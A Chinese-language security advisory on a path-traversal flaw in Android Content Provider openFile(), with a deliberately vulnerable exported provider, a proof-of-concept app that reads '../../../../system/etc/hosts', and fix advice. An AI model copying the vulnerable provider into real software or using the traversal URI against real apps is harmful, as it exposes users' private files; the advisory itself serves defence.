一、文件目录遍历安全漏洞描述
Android Content Provider存在文件目录遍历安全漏洞,该漏洞源于对外暴露Content Provider组件的应用,没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content Query Uri进行有效判断,攻击者利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的;
#二、文件目录遍历安全漏洞影响范围
Android所有系统
#三.文件目录遍历安全漏洞详情
##1.漏洞位置
ContentProvider.openFile(Uri uri, String mode)
##2.漏洞触发前提条件
对外暴露的Content Provider组件实现了openFile()接口;
没有对所访问的目标文件Uri进行有效判断,如没有过滤限制如“…/”可实现任意可读文件的访问的Content Query Uri;
##3.漏洞原理:
对外暴露的Content Provider实现了openFile()接口,因此其他有相应调用该Content Provider权限的应用即可调用Content Provider的openFile()接口进行文件数据访问。但是如果没有进行Content Provider访问权限控制和对访问的目标文件的Uri进行有效判断,攻击者利用文件目录遍历访问任意可读文件。
#四、文件目录遍历漏洞验证
##1.漏洞app创建
创建一个继承Content Provider类的FileProvider类,并重写openFile()方法
public class FileProvider extends ContentProvider {
@Override
public boolean onCreate() {
return false;
}
// 重写该方法
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file = new File(getContext().getFilesDir(),uri.getPath());
if(file.exists()){
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
throw new FileNotFoundException(uri.getPath());
}
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
throw new RuntimeException("Operation not supported");
}
@Override
public String getType(Uri uri) {
return null;
}
@Override
public Uri insert(Uri uri, ContentValues values) {
throw new RuntimeException("Operation not supported");
}
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
throw new RuntimeException("Operation not supported");
}
@Override
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
throw new RuntimeException("Operation not supported");
}
}
在Manifest.xml文件中注册该组件,并将exposed属性设为true
<provider android:name=".FileProvider" android:authorities="com.humen.app.FileProvider" android:exported="true"></provider>
漏洞验证app创建
package com.example.contentprovideropenfilecrack;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import android.app.Activity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class MainActivity extends Activity {
EditText authorities=null;
EditText filePath=null;
Button read=null;
TextView content=null;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
authorities=(EditText) findViewById(R.id.authorities_et);
filePath =(EditText) findViewById(R.id.filepath_et);
read=(Button) findViewById(R.id.read);
content=(TextView) findViewById(R.id.fileContent);
read.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
String fileUri="content://"+authorities.getText().toString()+"/"+filePath.getText().toString();
ContentResolver cr = getContentResolver();
try {
FileInputStream in = (FileInputStream) cr.openInputStream(Uri.parse(fileUri));
byte[] buff =new byte[in.available()];
in.read(buff);
content.setText(new String(buff));
} catch ( IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
});
}
}
main_activity.xml文件
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_margin="10dp"
android:orientation="horizontal" >
<TextView
android:id="@+id/textView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Authorities:" />
<EditText
android:id="@+id/authorities_et"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="com.humen.app.FileProvider" />
</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_margin="10dp"
android:orientation="horizontal" >
<TextView
android:id="@+id/textView2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="FilePath:"
/>
<EditText
android:id="@+id/filepath_et"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="../../../../system/etc/hosts" />
</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_margin="10dp"
android:orientation="horizontal" >
<Button
android:id="@+id/read"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="读取内容" />
</LinearLayout>
<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_margin="10dp"
android:orientation="horizontal" >
<TextView
android:id="@+id/fileContent"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:singleLine="false"
android:text="" />
</LinearLayout>
</LinearLayout>
验证效果
#五、文件目录遍历安全漏洞修复建议
##1. 将不必要导出的Content Provider设置为不导出[6]
由于Android组件Content Provider无法在Android 2.2(即API Level 8)系统上设为不导出,因此如果应用的Content Provider不必要导出,阿里聚安全建议声明最低SDK版本为8以上版本;
由于API level 在17以下的所有应用的“android:exported”属性默认值都为true.,因此如果应用的Content Provider不必要导出,阿里聚安全建议显示设置注册的Content Provider组件的“android:exported”属性为false;
2. 去除没有必要的openFile()接口
如果应用的Content Provider组件没有必要实现openFile()接口,阿里聚安全建议移除该Content Provider的不必要的openFile()接口。
##3. 过滤限制跨域访问,对访问的目标文件的路径进行有效判断
使用Uri.decode()先对Content Query Uri进行解码后,再过滤如可通过“…/”实现任意可读文件的访问的Uri字符串;
##4. 设置权限来进行内部应用通过Content Provider的数据共享
使用签名验证来控制Content Provider共享数据的访问权限:设置protectionLevel=”signature”;